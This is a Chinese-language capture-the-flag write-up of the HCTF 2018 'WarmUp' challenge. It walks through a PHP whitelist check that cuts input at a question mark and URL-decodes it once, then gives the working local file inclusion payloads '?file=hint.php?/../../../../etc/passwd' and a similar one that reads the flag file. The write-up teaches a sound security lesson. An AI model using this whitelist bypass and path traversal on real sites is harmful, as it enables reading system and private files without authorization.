HCTF 2018--WarmUp

# 审计

打开源码,跟着提示到source.php页面。一个文件包含的漏洞,页面源码大致内容是传参$file,它的值只能是白名单文件source.php,hint.php

在题目里出现了陌生的函数,没有耐心看下去。如果清楚这些函数在做什么就好做了

提示

in_array($a,$array);,检查变量$a是否在数组$array
mb_substr($text, 5, 2); ,从字符串$text的第5个字符开始,截取2个字符 mb_strpos($abc,$data); PHP 中的一个多字节字符串函数,用于查找一个字符串参数$abc在另一个字符串参数$data中第一次出现的位置。

# 分析

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
}

if (in_array($page, $whitelist)) {
    return true;
}
1
2
3
4
5
6
7
8
9

定义白名单,先检查是否传递参数,传递的参数类型,再检查参数的值是否在白名单里。在白名单直接结束并返回true,不在白名单继续往下走

$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}
1
2
3
4
5
6
7
8

$page变量值拼接了一个问号,检查问号第一次出现的位置,截取问号前面的字符串,赋值给新变量,再检查新变量是否在白名单里。(如果原本没有问号,会加上问号获取整个变量值,如果已经有了问号,会截取问号之前的值,检查是否符合)

 $_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}
echo "you can't see it";
return false;
1
2
3
4
5
6
7
8
9
10
11

第二次机会,给参数url解码一次,添加问号,截取问号之前的值,再进行一次白名单检查,如果截取后,还在白名单里,这个参数他就认了,还不在,那就丢弃这个参数了

总结:两次判断,贴心的补充了一次url解码的情况,判断用户输入错误的情况,增加程序的健壮性导致的漏洞?

# 解题

给参数一个白名单的值,再手动补充一个问号,页面通过判断file值里问号前的值是否是白名单的值来判断是否合法,合法程序就会接受整个参数的值传入include函数里包含

页面里include $_REQUEST['file'];存在文件包含漏洞,当前应该在/var/www/html/的目录下,四次../可以回到根目录回到根目录../../../../

include(hint.php?/../../../../etc/passwd)hint.php?当作一个目录(linux支持目录名含有一些特殊字符)

?file=hint.php?/../../../../etc/passwd
1

warmup

包含flag文件

?file=hint.php?/../../../../ffffllllaaaagggg
1
最后一次更新于: 2025/01/19, 23:04:33